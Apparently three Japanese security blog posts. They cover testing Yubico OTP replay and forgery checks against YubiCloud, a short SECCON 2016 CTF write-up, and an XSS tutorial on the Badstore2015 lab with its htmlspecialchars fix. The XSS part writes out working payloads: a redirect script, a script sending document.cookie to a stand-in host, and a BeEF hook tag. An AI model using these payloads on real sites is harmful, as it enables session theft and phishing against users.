$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgvbbrtbdjebcblfherenbdkkbfrhdhghr\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad status=OK
status=OK
から、正しいOTPであることが分かります。
同じOTPを再度、送って見ます
$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgvbbrtbdjebcblfherenbdkkbfrhdhghr\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad status=REPLAYED_REQUEST
status=REPLAYED_REQUEST
より、再送されたものであることが分かります。
その他にも、 過去のOTPを送ると
$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgddvrncverchrujjdnfferuccvdficvcf\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad status=REPLAYED_OTP
一文字書き換えたOTPを送ると
$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgddvrncverchrujjdnfferuccvdgicvcf\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad status=BAD_OTP
となり、きちんとNGが返ってきていることが確認できます。
自分で生成したOTPを検証する
以下のpublic ID(ff39a66437d3) と private ID(065c6ad736b4)と鍵でYubiCloudに登録し、以下のOTPを検証したとします。
# vveklhhfeitehunflcgniugkjencelvjcfgjrublthei < public_id:ff39a66437d3 private_id:065c6ad736b4 useCtr:0001 tstp:aa4865 sessionCtr:02 rnd:03cd crc:fc31 >
useCtr が1、sessionCtrが2なので、タップすればuseCtrが1、sessionCtrが3のOTPが生成されるます。 この条件で、OTPを生成し、検証してみます。
y1 = Yubico.calc_otp(key, 0xff39a66437d3, 0x065c6ad736b4, 0x01, 0x03) print(y1.otp) # => vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl
これを実行することで、vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl が得られます。
# 普通に生成したOTPの検証。useCtr が1、sessionCtrが2。 $ curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vvvgutvinihgichgvrljjhrdbtdrbnrnnnttehnebjbc h=pNQ0bQIYZx2iBHoktz5aVjDGFvk= t=2016-12-30T03:56:09Z0559 otp=vvvgutvinihgichgvrljjhrdbtdrbnrnnnttehnebjbc nonce=askjdnkajsndjkasndkjsnad sl=50 status=OK # 自分で計算したOTPの検証。useCtr が1、sessionCtrが3。 $ curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl h=6jnCfVVKSa0wBSlZWdZcfoIKL3k= t=2016-12-30T04:00:39Z0699 otp=vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl nonce=askjdnkajsndjkasndkjsnad sl=50 status=OK # 普通に生成したOTPの検証。useCtr が1、sessionCtrが3。 $ curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeiteribeddtufhbtvnhnttivubkkfugekhvh h=k3b7zIJOLmAflOJmwYOPzyl8wSw= t=2016-12-30T04:00:51Z0931 otp=vveklhhfeiteribeddtufhbtvnhnttivubkkfugekhvh nonce=askjdnkajsndjkasndkjsnad status=REPLAYED_REQUEST
二つ目の結果から自分で生成したOTPが、検証でOKを返していることがわかります。このリクエストにより、YubiCloudのカウンターが更新され、3個目にYubickey経由で生成したOTPにも関わらず検証が失敗していることがわかります。
せっかくなのでカウンターがマックスまでいったとき、オバーフローとかして、また最初から使えないかみてみます。
# useCtr が0xffff、sessionCtrが0xff。 $ curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf h=gEwRfJPLZ6PTjTwnyY0lXvsgvZ4= t=2016-12-30T04:15:05Z0073 otp=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf nonce=askjdnkajsndjkasndkjsnad sl=50 status=OK # useCtr が0x0、sessionCtrが0x0。 $ curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf h=7bNNnRVlNpH/CFPbKKF943MM1JI= t=2016-12-30T04:15:17Z0875 otp=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf nonce=askjdnkajsndjkasndkjsnad status=REPLAYED_REQUEST
サーバ側でオバーフローなどはしないので、やはり設定をし直すしかなさそうですね。
後半の、まとめ
- Yubico OTPの暗号化されている中身を詳細にみてみた
- 実際に暗号文を復号し、挙動を確かめた
- 暗号化するコードを作り、正しく検証されるか確かめた
さいごに
Yubico OTPは、普通の使い方では鍵がもれる心配をしなくてよいためとても安全な仕組みかと思います。 公式マニュアルがややわかりにくかったのとYubicoの独自認証プロトコルなので資料がほぼなかったので書いてみました。 何かしら興味をもっていただければ幸いです。
参考
- 公式
- マニュアル
- これが一番詳しいと思います。
- ただし、公式サイトから、この資料のリンクを探し出すのは困難なので注意してください。
- Yubico OTP
- Yubikey Personalization tools
- 検証サーバー関連
- YubiKey
- 日本語のブログ
- 本当にこのページがあって助かりました:bow:
- 公式の素材用の画像
その他にもYubikeyのことが書かれた日本語のブログはお世話になりました。
もし公式ドキュメントを読みたい方は、
- ドキュメント量は多いが整理されていないので注意する
- 名称のブレがとにかく激しいので、ノリで理解する
- 例えば、public ID, Yubikey Token, publicname は全部同じものを指します。
に注意してください。
どこか間違っている点や疑問点などあればコメントいただけると助かります。
SECON 2016 Online CTF
SECON 2016 Online CTFにでた。 チームは、shioshiotaで参加した。2000ptで39位だった。
24時間の健康的なCTFだった。pwn担当が一人のチームだと48時間欲しいなぁー、と思った。 僕が解いたのは、以下の4問。
- [Exploit] cheer msg (100pt)
- [Exploit] jmper (300pt)
- [Exploit] checker (300pt)
- [Binary] ropsynth (400pt)
どれも面白かったです😀
運営のみなさまありがとうございました🙏
以下、コードは汚いのと解説する気はないですが、こんな感じで解きました。
[Exploit] cheer msg (100pt)
Message Length によって、espが変わる。
Message Length に負の値を指定することができ、名前を保持しておく変数を戻りアドレスを指すように調整して、ropするだけ。
攻撃コードは、これ👇
[Exploit] jmper (300pt)
なんか学生を追加したり、名前つけたり、メモをかける。
メモを書くところにoff-by-oneがあり、名前の文字列を指すポインタの1バイトを書き換えられる。これを使って任意のアドレスの書き換えが可能になる。
GOT は書き換えられず、setjmp/longjmp があり、いかにもこれを使って攻撃してくれといっている感じだった。
復帰に使われる、jmp_buf構造体には、復帰のアドレスとスタックポインタがエンコードがされて保持されている。
これをsystem("/bin/sh")を実行するようにすればよいだけ。
攻撃コードは、これ👇
[Exploit] checker (300pt)
メモリ上にのったフラグの文字列を読み出す問題。
jmper解いた後だったので、300点・・・?、という感じだったが、不備があって簡単になっていたらしい。
canary破壊した時に出るエラーメッセージのアレで、flag読み出す。
攻撃コードは、これ👇
[Binary] ropsynth (400pt)
rop のgadgetに使えるバイナリが降ってきて、そこからフラグを読み出すrop chainを送り返す問題。
5回連続で攻撃を成功させる必要があるが、各段階に難易度の変化はない。また、gadgetはちょっと面倒だが、そんな複雑ではないのでパースして組み立てるだけ。
攻撃コードは、これ👇
以上です。
Bugfix Backend を攻撃してみた(XSS編)
全体の概要と注意事項は以下の記事で説明しているので、必ず目を通して欲しい。otameshi61.hatenablog.com
XSS
HTML生成の部分で問題があると、Cross-site scripting(XSS)という脆弱性が起こる。XSSを利用した攻撃の一つとして、JavaScriptをサイトに埋め込むことができる。
原因
ユーザーから受け取った文字列をサニタイジング(無害化)を行っていないことが原因である。特に、HTMLの特殊文字のサニタイジングの方法としてはHTMLのエスケープがある。e-words.jp
HTMLのエスケープを行わずにユーザーからの入力を出力を行う箇所が存在した場合、XSSの攻撃が可能となる場合がある。
Badstore2015では、doguestbook.phpの以下の部分
<?php echo $row['comment']; ?>
において、ユーザーから受け取った文字列をそのまま出力している。この時にユーザーが
と入力を行うと、出力部では、このようにimageタグが埋め込まれた表示になる。
ページのソースをみると
となり、タグがそのまま入力されていることが分かる。
対策
PHPでは、htmlspecialcharsという関数でHTMLのエスケープを行うことができる。
http://php.net/htmlspecialchars
<?php echo htmlspecialchars($row['comment'],ENT_COMPAT,'UTF-8'); ?>
HTMLのエスケープを行った後の表示はこのようになる。
ページのソースはこのようになる。
< が & lt; となっており、特殊記号が実体参照に変換されていて、HTMLのエスケープが正しく行われていることがわかる。
しかし、HTMLのエスケープだけではサニタイズが不十分な場合がある。そのような例は、後ほど紹介する。
被害
上記ではimageタグの埋め込みという無害な例を示した。XSSの攻撃では、scriptタグの埋め込みによるブラウザ上での攻撃がなされる。
JavaScriptの攻撃では、リダイレクトやcookieの盗み出しなどがある。JavaScriptがほとんど書けない人でも様々な攻撃を容易にするフレームワークとしてBeEFが存在する。
順に説明していく。
リダイレクト
リダイレクトは、
<script>window.location = "http://localhost/hoge.php";</script>
を埋め込むことで、このページにアクセスしてきた相手をhttp://localhost/hoge.php に飛ばすことができる。
攻撃者としては、フィッシングサイトやマルウェアの配布サイトやアフィリエイト稼ぎのサイトに飛ばすことができる。
cookieの盗み出し
cookieの盗み出し
被害者のセッションIDを盗んで相手のセッションを奪う攻撃に利用される。JavaScriptからCookieを送信するコードを書いても良いが、たとえば
<script>window.location = "http://localhost/hoge.php?cookie="+document.cookie;</script>
と書き込めばクッキー情報をつけたままアクセスが行われる。取集用のスクリプトを用意しても良いし、アクセスログからもクッキー情報を抜くことができる。
BeEF
XSSの攻撃を容易するために、BeEFというフレームワークがある。この他にもMetasploit のxssfというフレームワークが有名である。
これらのフレームワークでは、攻撃スクリプトを読み込むことでブラウザの攻撃を行う。
以下のようなBeEFの実行画面
攻撃スクリプトの読み込みは、画像のHook URLを読み込むようにすればよい。
<script src='http://127.0.0.1:3000/hook.js'></script>
このタグを埋め込まれたページを踏んだユーザーを管理と攻撃を行う管理画面は以下のようになっている。
JavaScriptをあまり知らないひとでも簡単に相手の情報を盗み、web カメラを起動したり、ブラウザで音をならしたり、フィッシングサイトに招いたりすることが、GUIを利用してぽちぽちボタンを押してるだけで出来る。
発展的な内容
HTMLのエスケープでは、サニタイズとして不十分な例を示す。
"メッセージを残す"では、URLを指定しpageにリンクを埋め込むことができる。
作成者の想定通りの利用法
- 入力
- 表示
- ページのソース
JavaScriptはa要素のhref属性の属性値として、javascript:JavaScript式という形式でJavaScriptを起動することができる。
以下のようにすることで、HTMLのエスケープを回避してJavaScriptを埋め込むことができる。
まとめ
Badstore2015において発生するXSSの問題について簡単に触れた。